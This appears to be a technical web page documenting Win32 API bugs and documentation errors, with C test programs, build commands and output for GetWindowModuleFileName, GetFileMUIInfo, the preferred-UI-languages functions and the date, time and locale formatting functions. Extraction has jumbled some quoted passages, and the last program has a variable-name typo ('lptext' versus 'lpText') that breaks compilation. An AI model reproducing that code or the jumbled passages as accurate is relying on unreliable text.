GetWindowModuleFileName and GetModuleFileName correctly retrieve information about windows and modules in the calling process. In Windows 95 and 98, they return information about windows and modules in other processes. However, in Windows NT 4.0 and Windows 2000, since module handles are no longer shared by all processes as they were on Windows 95 and 98, these APIs do not return information about windows and modules in other processes.OUCH⁰: Windows NT 4.0 and Windows 2000 were released in the last millennium, but nobody at Microsoft was able to add the information published in the MSKB article 228469 to the documentation for the Win32 function
GetWindowModuleFileName()
            for more than 25 (in words: twenty-five) years
            – it's a real shame!
         Create the text file blunder.c with the following
            content in an arbitrary, preferable empty directory:
        
// Copyright © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
__declspec(safebuffers)
BOOL	CDECL	PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
{
	WCHAR	szOutput[1025];
	DWORD	dwOutput;
	DWORD	dwConsole;
	va_list	vaInput;
	va_start(vaInput, lpFormat);
	dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
	va_end(vaInput);
	if (dwOutput == 0UL)
		return FALSE;
	if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
		return FALSE;
	return dwConsole == dwOutput;
}
const	FARPROC	fpWindow[] = {GetActiveWindow,
		              GetConsoleWindow,
		              GetDesktopWindow,
		              GetForegroundWindow,
		              GetOpenClipboardWindow,
		              GetShellWindow};
const	LPCWSTR	szWindow[] = {L"GetActiveWindow",
		              L"GetConsoleWindow",
		              L"GetDesktopWindow",
		              L"GetForegroundWindow",
		              L"GetOpenClipboardWindow",
		              L"GetShellWindow"};
__declspec(noreturn)
VOID	CDECL	wmainCRTStartup(VOID)
{
	WCHAR	szBlunder[MAX_PATH];
	HWND	hWindow;
	DWORD	dwWindow = 0UL;
	DWORD	dwError = ERROR_SUCCESS;
	HANDLE	hError = GetStdHandle(STD_ERROR_HANDLE);
	if (hError == INVALID_HANDLE_VALUE)
		dwError = GetLastError();
	else
	{
		do
		{
			hWindow = (HWND) (fpWindow[dwWindow])();
			if (hWindow == NULL)
				PrintConsole(hError,
				             L"%ls() returned NULL\n",
				             szWindow[dwWindow]);
			else
			{
				SetLastError(~0UL);
				if (GetWindowModuleFileName(hWindow,
				                            szBlunder,
				                            sizeof(szBlunder) / sizeof(*szBlunder)) == 0UL)
					PrintConsole(hError,
					             L"GetWindowModuleFileName(%ls(), …) returned error %lu\n",
					             szWindow[dwWindow], GetLastError());
				else
					PrintConsole(hError,
					             L"GetWindowModuleFileName(%ls(), …) returned error %lu and \'%ls\'\n",
					             szWindow[dwWindow], GetLastError(), szBlunder);
			}
		}
		while (++dwWindow < sizeof(fpWindow) / sizeof(*fpWindow));
		if (GetWindowModuleFileName(HWND_DESKTOP,
		                            szBlunder,
		                            sizeof(szBlunder) / sizeof(*szBlunder)) == 0UL)
			PrintConsole(hError,
			             L"GetWindowModuleFileName(HWND_DESKTOP, …) returned error %lu\n",
			             dwError = GetLastError());
	}
	ExitProcess(dwError);
} Compile and link the source file blunder.c created in
            step 1.:
        
SET CL=/W3 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE blunder.c kernel32.lib user32.libNote: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c blunder.c(32) : warning C4047: 'initializing' : 'const FARPROC' differs in levels of indirection from 'HWND (__stdcall *)(void)' blunder.c(33) : warning C4047: 'initializing' : 'const FARPROC' differs in levels of indirection from 'HWND (__stdcall *)(void)' blunder.c(34) : warning C4047: 'initializing' : 'const FARPROC' differs in levels of indirection from 'HWND (__stdcall *)(void)' blunder.c(35) : warning C4047: 'initializing' : 'const FARPROC' differs in levels of indirection from 'HWND (__stdcall *)(void)' blunder.c(36) : warning C4047: 'initializing' : 'const FARPROC' differs in levels of indirection from 'HWND (__stdcall *)(void)' blunder.c(37) : warning C4047: 'initializing' : 'const FARPROC' differs in levels of indirection from 'HWND (__stdcall *)(void)' Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib user32.lib
 Execute the console application blunder.exe built in
            step 2. and evaluate its exit code:
        
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
GetActiveWindow() returned NULL GetWindowModuleFileName(GetConsoleWindow(), …) returned error 0 and 'C:\Users\Stefan\Desktop\blunder.exe' GetWindowModuleFileName(GetDesktopWindow(), …) returned error 4294967295 GetWindowModuleFileName(GetForegroundWindow(), …) returned error 0 and 'C:\Users\Stefan\Desktop\blunder.exe' GetOpenClipboardWindow() returned NULL GetWindowModuleFileName(GetShellWindow(), …) returned error 4294967295 GetWindowModuleFileName(HWND_DESKTOP, …) returned error 1400 0x578 (WIN32: 1400 ERROR_INVALID_WINDOW_HANDLE) -- 1400 (1400) Error message text: Invalid window handle. CertUtil: -error command completed successfully.OUCH¹: for valid but foreign window handles except that of its console window, the Win32 function
GetWindowModuleFileName()
            fails to set the last error code!
        OUCH²: upon success it returns the pathname of the calling (console) application and resets the last error code!
 Note: the Win32 error code 1400 alias
            ERROR_INVALID_WINDOW_HANDLE
            is expected – the preprocessor macro HWND_DESKTOP
            is defined as ((HWND) 0) alias NULL!
        
GetFileMUIInfo()
            states:
        Retrieves resource-related information about a file.CAVEAT: the highlighted statement of the documentation cited above is but misleading and wrong – the initial call of the Win32 function[…]BOOL GetFileMUIInfo( [in] DWORD dwFlags, [in] PCWSTR pcwszFilePath, [in, out, optional] PFILEMUIINFO pFileMUIInfo, [in, out] DWORD *pcbFileMUIInfo );
[in, out, optional] pFileMUIInfo
[…]
Alternatively, the application can set this parameter to NULL if pcbFileMUIInfo is set to 0. In this case, the function retrieves the required size for the information buffer in pcbFileMUIInfo.
[…]
[in, out] pcbFileMUIInfo
[…]
Alternatively, the application can set this parameter to 0 if it sets NULL in pFileMUIInfo. In this case, the function retrieves the required file information buffer size in pcbFileMUIInfo. To allocate the correct amount of memory, this value should be added to the size of theFILEMUIINFOstructure itself.
GetFileMUIInfo()
            for any module, with address and size of the buffer given as
            NULL and 0, fails (expected and intended) with
            Win32 error code 122 alias
            ERROR_INSUFFICIENT_BUFFER,
            and always returns 84 as (additional) buffer size;
            a buffer of sizeof(FILEMUIINO) + 84 bytes is
            but not always sufficient, so subsequent calls can fail again with
            Win32 error code 122 alias
            ERROR_INSUFFICIENT_BUFFER!
        Note: implemented properly, the first call would return the correct (full) buffer size and grant a successful second call, as documented (for example) in the MSDN article Retrieving Data of Unknown Length – it’s a shame that Microsoft’s developers ignore their own company’s documentation!
 Create the text file blunder.c with the following
            content in an arbitrary, preferable empty directory:
        
// Copyright © 2009-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
__declspec(safebuffers)
BOOL	CDECL	PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
{
	WCHAR	szOutput[1025];
	DWORD	dwOutput;
	DWORD	dwConsole;
	va_list	vaInput;
	va_start(vaInput, lpFormat);
	dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
	va_end(vaInput);
	if (dwOutput == 0UL)
		return FALSE;
	if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
		return FALSE;
	return dwConsole == dwOutput;
}
const	WCHAR	szModule[] = L"C:\\Windows\\RegEdit.exe";
__declspec(noreturn)
VOID	CDECL	wmainCRTStartup(VOID)
{
	PFILEMUIINFO	lpFileMUIInfo = NULL;
	DWORD		dwFileMUIInfo = 0UL;
	DWORD		dwError;
	HANDLE		hError = GetStdHandle(STD_ERROR_HANDLE);
	if (hError == INVALID_HANDLE_VALUE)
		dwError = GetLastError();
	else
		if (GetFileMUIInfo(MUI_QUERY_CHECKSUM | MUI_QUERY_LANGUAGE_NAME | MUI_QUERY_RESOURCE_TYPES | MUI_QUERY_TYPE,
		                   szModule, lpFileMUIInfo, &dwFileMUIInfo))
			PrintConsole(hError,
			             L"GetFileMUIInfo() returned success %lu and buffer size %lu for module \'%ls\'\n",
			             dwError = GetLastError(), dwFileMUIInfo, szModule);
		else
		{
			PrintConsole(hError,
			             L"GetFileMUIInfo() returned error %lu and buffer size %lu for module \'%ls\'\n",
			             dwError = GetLastError(), dwFileMUIInfo, szModule);
			dwFileMUIInfo += sizeof(FILEMUIINFO);
			while (dwError == ERROR_INSUFFICIENT_BUFFER)
			{
				lpFileMUIInfo = LocalAlloc(LPTR, dwFileMUIInfo);
				if (lpFileMUIInfo == NULL)
					PrintConsole(hError,
					             L"LocalAlloc() returned error %lu\n",
					             dwError = GetLastError());
				else
				{
					lpFileMUIInfo->dwSize = dwFileMUIInfo;
					lpFileMUIInfo->dwVersion = MUI_FILEINFO_VERSION;
					if (GetFileMUIInfo(MUI_QUERY_CHECKSUM | MUI_QUERY_LANGUAGE_NAME | MUI_QUERY_RESOURCE_TYPES | MUI_QUERY_TYPE,
					                   szModule, lpFileMUIInfo, &dwFileMUIInfo))
						PrintConsole(hError,
						             L"GetFileMUIInfo() returned success %lu and buffer size %lu for module \'%ls\'\n",
						             dwError = GetLastError(), dwFileMUIInfo, szModule);
					else
						PrintConsole(hError,
						             L"GetFileMUIInfo() returned error %lu and buffer size %lu for module \'%ls\'\n",
						             dwError = GetLastError(), dwFileMUIInfo, szModule);
					if (LocalFree(lpFileMUIInfo) != NULL)
						PrintConsole(hError,
						             L"LocalFree() returned error %lu\n",
						             dwError = GetLastError());
				}
			}
		}
	ExitProcess(dwError);
} Compile and link the source file blunder.c created in
            step 1.:
        
SET CL=/GF /W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE blunder.c kernel32.lib user32.libNote: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib user32.lib
 Execute the console application blunder.exe built in
            step 2.:
        
.\blunder.exe
GetFileMUIInfo() returned error 122 and buffer size 84 for module 'C:\Windows\RegEdit.exe' GetFileMUIInfo() returned error 122 and buffer size 166 for module 'C:\Windows\RegEdit.exe' GetFileMUIInfo() returned error 122 and buffer size 180 for module 'C:\Windows\RegEdit.exe' GetFileMUIInfo() returned success 0 and buffer size 180 for module 'C:\Windows\RegEdit.exe'
GetSystemPreferredUILanguages()
            specifies:
        Retrieves the system preferred UI languages. […]The documentation for the Win32 function[…]BOOL GetSystemPreferredUILanguages( [in] DWORD dwFlags, [out] PULONG pulNumLanguages, [out, optional] PZZWSTR pwszLanguagesBuffer, [in, out] PULONG pcchLanguagesBuffer );
[out] pulNumLanguagesPointer to the number of languages retrieved in pwszLanguagesBuffer.
[out, optional] pwszLanguagesBufferOptional. Pointer to a buffer in which this function retrieves an ordered, null-delimited system preferred UI languages list, in the format specified by dwFlags. This list ends with two null characters.
Alternatively if this parameter is set to NULL and pcchLanguagesBuffer is set to 0, the function retrieves the required size of the language buffer in pcchLanguagesBuffer. The required size includes the two null characters.
[in, out] pcchLanguagesBufferPointer to the size, in characters, for the language buffer indicated by pwszLanguagesBuffer. On successful return from the function, the parameter contains the size of the retrieved language buffer.
Alternatively if this parameter is set to 0 and pwszLanguagesBuffer is set to NULL, the function retrieves the required size of the language buffer in pcchLanguagesBuffer.
[…]
Returns TRUE if successful or FALSE otherwise. […]
GetUserPreferredUILanguages()
            specifies:
        Retrieves information about the display language setting. […]The documentation for the Win32 function[…]BOOL GetUserPreferredUILanguages( [in] DWORD dwFlags, [out] PULONG pulNumLanguages, [out, optional] PZZWSTR pwszLanguagesBuffer, [in, out] PULONG pcchLanguagesBuffer );
[out] pulNumLanguagesPointer to the number of languages retrieved in pwszLanguagesBuffer.
[out, optional] pwszLanguagesBufferOptional. Pointer to a buffer in which this function retrieves an ordered, null-delimited display language list, in the format specified by dwflags. This list ends with two null characters.
Alternatively if this parameter is set to NULL and pcchLanguagesBuffer is set to 0, the function retrieves the required size of the language buffer in pcchLanguagesBuffer. The required size includes the two null characters.
[in, out] pcchLanguagesBufferPointer to the size, in characters, for the language buffer indicated by pwszLanguagesBuffer. On successful return from the function, the parameter contains the size of the retrieved language buffer.
Alternatively if this parameter is set to 0 and pwszLanguagesBuffer is set to NULL, the function retrieves the required size of the language buffer in pcchLanguagesBuffer.
[…]
Returns TRUE if successful or FALSE otherwise. […]
GetThreadPreferredUILanguages()
            specifies:
        Retrieves the thread preferred UI languages for the current thread. […]The documentation for the Win32 function[…]BOOL GetThreadPreferredUILanguages( [in] DWORD dwFlags, [out] PULONG pulNumLanguages, [out, optional] PZZWSTR pwszLanguagesBuffer, [in, out] PULONG pcchLanguagesBuffer );
[out] pulNumLanguagesPointer to the number of languages retrieved in pwszLanguagesBuffer.
[out, optional] pwszLanguagesBufferOptional. Pointer to a buffer in which this function retrieves an ordered, null-delimited thread preferred UI languages list, in the format specified by dwFlags. This list ends with two null characters.
Alternatively if this parameter is set to NULL and pcchLanguagesBuffer is set to 0, the function retrieves the required size of the language buffer in pcchLanguagesBuffer. The required size includes the two null characters.
[in, out] pcchLanguagesBufferPointer to the size, in characters, for the language buffer indicated by pwszLanguagesBuffer. On successful return from the function, the parameter contains the size of the retrieved language buffer.
Alternatively if this parameter is set to 0 and pwszLanguagesBuffer is set to NULL, the function retrieves the required size of the language buffer in pcchLanguagesBuffer.
[…]
Returns TRUE if successful or FALSE otherwise. […]
GetProcessPreferredUILanguages()
            states:
        Retrieves the process preferred UI languages. […]Note: the first 3 functions were introduced with Windows Vista, the last function was introduced with Windows 7.[…]BOOL GetProcessPreferredUILanguages( [in] DWORD dwFlags, [out] PULONG pulNumLanguages, [out, optional] PZZWSTR pwszLanguagesBuffer, [in, out] PULONG pcchLanguagesBuffer );
[out] pulNumLanguagesPointer to the number of languages retrieved in pwszLanguagesBuffer.
[out, optional] pwszLanguagesBufferOptional. Pointer to a double null-terminated multi-string buffer in which the function retrieves an ordered, null-delimited list in preference order, starting with the most preferable.
Alternatively if this parameter is set to NULL and pcchLanguagesBuffer is set to 0, the function retrieves the required size of the language buffer in pcchLanguagesBuffer. The required size includes the two null characters.
[in, out] pcchLanguagesBufferPointer to the size, in characters, for the language buffer indicated by pwszLanguagesBuffer. On successful return from the function, the parameter contains the size of the retrieved language buffer.
Alternatively if this parameter is set to 0 and pwszLanguagesBuffer is set to NULL, the function retrieves the required size of the language buffer in pcchLanguagesBuffer.
[…]
Returns TRUE if successful or FALSE otherwise. […]
If the process preferred UI language list is empty or if the languages specified for the process are not valid, the function succeeds and returns an empty multistring in pwszLanguagesBuffer and 2 in the pcchLanguagesBuffer parameter.
 Create the text file blunder.c with the following
            content in an arbitrary, preferable empty directory:
        
// Copyright © 2009-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
__declspec(safebuffers)
BOOL	CDECL	PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
{
	WCHAR	szOutput[1025];
	DWORD	dwOutput;
	DWORD	dwConsole;
	va_list	vaInput;
	va_start(vaInput, lpFormat);
	dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
	va_end(vaInput);
	if (dwOutput == 0UL)
		return FALSE;
	if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
		return FALSE;
	return dwConsole == dwOutput;
}
__declspec(noreturn)
VOID	CDECL	wmainCRTStartup(VOID)
{
	WCHAR	szBlunder[LOCALE_NAME_MAX_LENGTH + 1];
	DWORD	dwBlunder = 0UL;
	DWORD	dwCount = ~0UL;
	DWORD	dwError = ERROR_SUCCESS;
	HANDLE	hError = GetStdHandle(STD_ERROR_HANDLE);
	if (hError == INVALID_HANDLE_VALUE)
		dwError = GetLastError();
	else
	{
		if (!GetSystemPreferredUILanguages(MUI_LANGUAGE_NAME,
		                                   &dwCount,
		                                   (LPWSTR) NULL,
		                                   &dwBlunder))
			PrintConsole(hError,
			             L"GetSystemPreferredUILanguages() returned error %lu\n",
			             dwError = GetLastError());
		else
			PrintConsole(hError,
			             L"System\t%lu\t%lu\n",
			             dwCount, dwBlunder);
		dwCount = ~0UL;
		dwBlunder = 0UL;
		if (!GetUserPreferredUILanguages(MUI_LANGUAGE_NAME,
		                                 &dwCount,
		                                 (LPWSTR) NULL,
		                                 &dwBlunder))
			PrintConsole(hError,
			             L"GetUserPreferredUILanguages() returned error %lu\n",
			             dwError = GetLastError());
		else
			PrintConsole(hError,
			             L"User\t%lu\t%lu\n",
			             dwCount, dwBlunder);
		dwCount = ~0UL;
		dwBlunder = 0UL;
		if (!GetProcessPreferredUILanguages(MUI_LANGUAGE_NAME,
		                                    &dwCount,
		                                    (LPWSTR) NULL,
		                                    &dwBlunder))
			PrintConsole(hError,
			             L"GetProcessPreferredUILanguages() returned error %lu\n",
			             dwError = GetLastError());
		else
			PrintConsole(hError,
			             L"Process\t%lu\t%lu\n",
			             dwCount, dwBlunder);
		dwCount = ~0UL;
		dwBlunder = sizeof(szBlunder) / sizeof(*szBlunder);
		if (!GetProcessPreferredUILanguages(MUI_LANGUAGE_NAME,
		                                    &dwCount,
		                                    szBlunder,
		                                    &dwBlunder))
			PrintConsole(hError,
			             L"GetProcessPreferredUILanguages() returned error %lu\n",
			             dwError = GetLastError());
		else
			PrintConsole(hError,
			             L"Process\t%lu\t%lu\n",
			             dwCount, dwBlunder);
		dwCount = ~0UL;
		dwBlunder = 0UL;
		if (!GetThreadPreferredUILanguages(MUI_LANGUAGE_NAME | MUI_THREAD_LANGUAGES,
		                                   &dwCount,
		                                   (LPWSTR) NULL,
		                                   &dwBlunder))
			PrintConsole(hError,
			             L"GetThreadPreferredUILanguages() returned error %lu\n",
			             dwError = GetLastError());
		else
			PrintConsole(hError,
			             L"Thread\t%lu\t%lu\n",
			             dwCount, dwBlunder);
	}
	ExitProcess(dwError);
} Compile and link the source file blunder.c created in
            step 1.:
        
SET CL=/GF /W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE blunder.c kernel32.lib user32.libNote: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib user32.lib
 Execute the console application blunder.exe built in
            step 2.:
        
.\blunder.exe
System 1 7 User 1 7 Process 4294967295 2 Process 4294967295 2 Thread 0 2OUCH: the Win32 function
GetProcessPreferredUILanguages()
            fails to set its output parameter *pulNumLanguages to 0
            if it retrieves an empty buffer!
        GetDateFormat()
            specifies:
        Formats a date as a date string for a locale specified by the locale identifier. The function formats either a specified date or the local system date.The documentation for the Win32 function[…]
[…]int GetDateFormat( [in] LCID Locale, [in] DWORD dwFlags, [in, optional] const SYSTEMTIME *lpDate, [in, optional] LPCTSTR lpFormat, [out, optional] LPTSTR lpDateStr, [in] int cchDate );Returns the number of characters written to the lpDateStr buffer if successful. If the cchDate parameter is set to 0, the function returns the number of characters required to hold the formatted date string, including the terminating null character.
The function returns 0 if it does not succeed. […]
GetTimeFormat()
            specifies:
        Formats time as a time string for a locale specified by identifier. The function formats either a specified time or the local system time.The documentation for the Win32 function[…]
[…]int GetTimeFormat( [in] LCID Locale, [in] DWORD dwFlags, [in, optional] const SYSTEMTIME *lpTime, [in, optional] LPCTSTR lpFormat, [out, optional] LPTSTR lpTimeStr, [in] int cchTime );Returns the number of TCHAR values retrieved in the buffer indicated by lpTimeStr. If the cchTime parameter is set to 0, the function returns the size of the buffer required to hold the formatted time string, including a terminating null character.
This function returns 0 if it does not succeed. […]
GetLocaleInfo()
            specifies:
        Retrieves information about a locale specified by identifier. […]The documentation for the Win32 function[…]int GetLocaleInfo( [in] LCID Locale, [in] LCTYPE LCType, [out, optional] LPTSTR lpLCData, [in] int cchData );Returns the number of characters retrieved in the locale data buffer if successful and cchData is a nonzero value. […] If the function succeeds and the value of cchData is 0, the return value is the required size, in characters including a null character, for the locale data buffer.
GetDateFormatEx()
            specifies:
        Formats a date as a date string for a locale specified by name. The function formats either a specified date or the local system date.The documentation for the Win32 function[…]
[…]int GetDateFormatEx( [in, optional] LPCTSTR lpLocaleName, [in] DWORD dwFlags, [in, optional] const SYSTEMTIME *lpDate, [in, optional] LPCTSTR lpFormat, [out, optional] LPTSTR lpDateStr, [in] int cchDate, [in, optional] LPCTSTR lpCalendar );Returns the number of characters written to the lpDateStr buffer if successful. If the cchDate parameter is set to 0, the function returns the number of characters required to hold the formatted date string, including the terminating null character.
This function returns 0 if it does not succeed. […]
GetTimeFormatEx()
            specifies:
        Formats time as a time string for a locale specified by name. The function formats either a specified time or the local system time.The documentation for the Win32 function[…]
[…]int GetTimeFormatEx( [in, optional] LPCTSTR lpLocaleName, [in] DWORD dwFlags, [in, optional] const SYSTEMTIME *lpTime, [in, optional] LPCTSTR lpFormat, [out, optional] LPTSTR lpTimeStr, [in] int cchTime );Returns the number of characters retrieved in the buffer indicated by lpTimeStr. If the cchTime parameter is set to 0, the function returns the size of the buffer required to hold the formatted time string, including a terminating null character.
This function returns 0 if it does not succeed. […]
GetLocaleInfoEx()
            specifies:
        Retrieves information about a locale specified by name. […]CAVEAT: Win32 functions which write a character string to a buffer typically return the number of characters except the terminating[…]int GetLocaleInfoEx( [in, optional] LPCWSTR lpLocaleName, [in] LCTYPE LCType, [out, optional] LPWSTR lpLCData, [in] int cchData );Returns the number of characters retrieved in the locale data buffer if successful and cchData is a nonzero value. […] If the function succeeds and the value of cchData is 0, the return value is the required size, in characters including a null character, for the locale data buffer.
NUL
            character, even if not stated explicitly – the six functions
            named above but return the number of characters
            including the terminating NUL
            character, without explicitly stating their unusual behaviour.
            Retrieving Time and Date Information
            GetDateFormat()
            GetDateFormat()
            GetDateFormatEx()
            GetDateFormatEx()
            GetTimeFormat()
            GetTimeFormat()
            GetTimeFormatEx()
            GetTimeFormatEx()
            Day, Month, Year, and Era Format Pictures
            Day, Month, Year, and Era Format Pictures
            Hour, Minute, and Second Format Pictures
            Hour, Minute, and Second Format Pictures
         Create the text file blunder.c with the following
            content in an arbitrary, preferable empty directory:
        
// Copyright © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
__declspec(safebuffers)
BOOL	CDECL	PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
{
	WCHAR	szOutput[1025];
	DWORD	dwOutput;
	DWORD	dwConsole;
	va_list	vaInput;
	va_start(vaInput, lpFormat);
	dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
	va_end(vaInput);
	if (dwOutput == 0UL)
		return FALSE;
	if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
		return FALSE;
	return dwConsole == dwOutput;
}
__declspec(noreturn)
VOID	CDECL	wmainCRTStartup(VOID)
{
	SYSTEMTIME	st;
	INT	niDate, niTime, niText, niSize;
	LPWSTR	lpDate, lpTime, lptext;
	WCHAR	szDate[] = L"mm/dd/yyyy";
	WCHAR	szTime[] = L"hh:mm:ss";
	WCHAR	szText[] = L"0123456789";
	DWORD	dwError = ERROR_SUCCESS;
	HANDLE	hError = GetStdHandle(STD_ERROR_HANDLE);
	if (hError == INVALID_HANDLE_VALUE)
		dwError = GetLastError();
	else
	{
		GetSystemTime(&st);
		niDate = GetDateFormat(LOCALE_INVARIANT,
		                       0UL,
		                       &st,
		                       szDate,
		                       szDate,
		                       sizeof(szDate) / sizeof(*szDate));
		if (niDate == 0)
			PrintConsole(hError,
			             L"GetDateFormat() returned error %lu\n",
			             dwError = GetLastError());
		else
		{
			niSize = wcslen(szDate);
			if (niSize != niDate)
				PrintConsole(hError,
				             L"GetDateFormat() returned date \'%ls\' of %lu characters, but true string length is %lu characters\n",
				             szDate, niDate, niSize);
		}
		niTime = GetTimeFormat(LOCALE_INVARIANT,
		                       0UL,
		                       &st,
		                       szTime,
		                       szTime,
		                       sizeof(szTime) / sizeof(*szTime));
		if (niTime == 0)
			PrintConsole(hError,
			             L"GetTimeFormat() returned error %lu\n",
			             dwError = GetLastError());
		else
		{
			niSize = wcslen(szTime);
			if (niSize != niTime)
				PrintConsole(hError,
				             L"GetTimeFormat() returned time \'%ls\' of %lu characters, but true string length is %lu characters\n",
				             szTime, niTime, niSize);
		}
		niText = GetLocaleInfo(LOCALE_INVARIANT,
		                       LOCALE_SNATIVEDIGITS,
		                       szText,
		                       sizeof(szText) / sizeof(*szText));
		if (niText == 0)
			PrintConsole(hError,
			             L"GetLocaleInfo() returned error %lu\n",
			             dwError = GetLastError());
		else
		{
			niSize = wcslen(szText);
			if (niSize != niText)
				PrintConsole(hError,
				             L"GetLocaleInfo() returned text \'%ls\' of %lu characters, but true string length is %lu characters\n",
				             szText, niText, niSize);
		}
		niSize = GetDateFormatEx(LOCALE_NAME_INVARIANT,
		                         DATE_LONGDATE,
		                         &st,
		                         (LPCWSTR) NULL,
		                         (LPWSTR) NULL,
		                         0,
		                         (LPCWSTR) NULL);
		if (niSize == 0)
			PrintConsole(hError,
			             L"GetDateFormatEx() returned error %lu\n",
			             dwError = GetLastError());
		else
		{
			lpDate = LocalAlloc(LPTR, niSize * sizeof(*lpDate));
			if (lpDate == NULL)
				PrintConsole(hError,
				             L"LocalAlloc() returned error %lu\n",
				             dwError = GetLastError());
			else
			{
				niDate = GetDateFormatEx(LOCALE_NAME_INVARIANT,
				                         DATE_LONGDATE,
				                         &st,
				                         (LPCWSTR) NULL,
				                         lpDate,
				                         niSize,
				                         (LPCWSTR) NULL);
				if (niDate == 0)
					PrintConsole(hError,
					             L"GetDateFormatEx() returned error %lu\n",
					             dwError = GetLastError());
				else
					if (niDate != niSize - 1)
						PrintConsole(hError,
						             L"GetDateFormatEx() returned date \'%ls\' of %lu characters, but true string length is %lu characters\n",
						             lpDate, niDate, wcslen(lpDate));
				if (LocalFree(lpDate) != NULL)
					PrintConsole(hError,
					             L"LocalFree() returned error %lu\n",
					             dwError = GetLastError());
			}
		}
		niSize = GetTimeFormatEx(LOCALE_NAME_INVARIANT,
		                         TIME_FORCE24HOURFORMAT,
		                         &st,
		                         (LPCWSTR) NULL,
		                         (LPWSTR) NULL,
		                         0);
		if (niSize == 0)
			PrintConsole(hError,
			             L"GetTimeFormatEx() returned error %lu\n",
			             dwError = GetLastError());
		else
		{
			lpTime = LocalAlloc(LPTR, niSize * sizeof(*lpTime));
			if (lpTime == NULL)
				PrintConsole(hError,
				             L"LocalAlloc() returned error %lu\n",
				             dwError = GetLastError());
			else
			{
				niTime = GetTimeFormatEx(LOCALE_NAME_INVARIANT,
				                         TIME_FORCE24HOURFORMAT,
				                         &st,
				                         (LPCWSTR) NULL,
				                         lpTime,
				                         niSize);
				if (niTime == 0)
					PrintConsole(hError,
					             L"GetTimeFormatEx() returned error %lu\n",
					             dwError = GetLastError());
				else
					if (niTime != niSize - 1)
						PrintConsole(hError,
						             L"GetTimeFormatEx() returned time \'%ls\' of %lu characters, but true string length is %lu characters\n",
						             lpTime, niTime, wcslen(lpTime));
				if (LocalFree(lpTime) != NULL)
					PrintConsole(hError,
					             L"LocalFree() returned error %lu\n",
					             dwError = GetLastError());
			}
		}
		niSize = GetLocaleInfoEx(LOCALE_NAME_INVARIANT,
		                         LOCALE_SNATIVEDIGITS,
		                         (LPWSTR) NULL,
		                         0);
		if (niSize == 0)
			PrintConsole(hError,
			             L"GetLocaleInfoEx() returned error %lu\n",
			             dwError = GetLastError());
		else
		{
			lpText = LocalAlloc(LPTR, niSize * sizeof(*lpText));
			if (lpText == NULL)
				PrintConsole(hError,
				             L"LocalAlloc() returned error %lu\n",
				             dwError = GetLastError());
			else
			{
				niText = GetLocaleInfoEx(LOCALE_NAME_INVARIANT,
				                         LOCALE_SNATIVEDIGITS,
				                         lpText,
				                         niSize);
				if (niText == 0)
					PrintConsole(hError,
					             L"GetLocaleInfoEx() returned error %lu\n",
					             dwError = GetLastError());
				else
					if (niText != niSize - 1)
						PrintConsole(hError,
						             L"GetLocaleInfoEx() returned text \'%ls\' of %lu characters, but true string length is %lu characters\n",
						             lpText, niText, wcslen(lpText));
				if (LocalFree(lpText) != NULL)
					PrintConsole(hError,
					             L"LocalFree() returned error %lu\n",
					             dwError = GetLastError());
			}
		}
	}
	ExitProcess(dwError);
} Compile and link the source file blunder.c created in
            step 1.:
        
SET CL=/GF /Oi /W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE blunder.c kernel32.lib user32.libNote: the command lines can be copied and pasted as block into a Command Processor window.
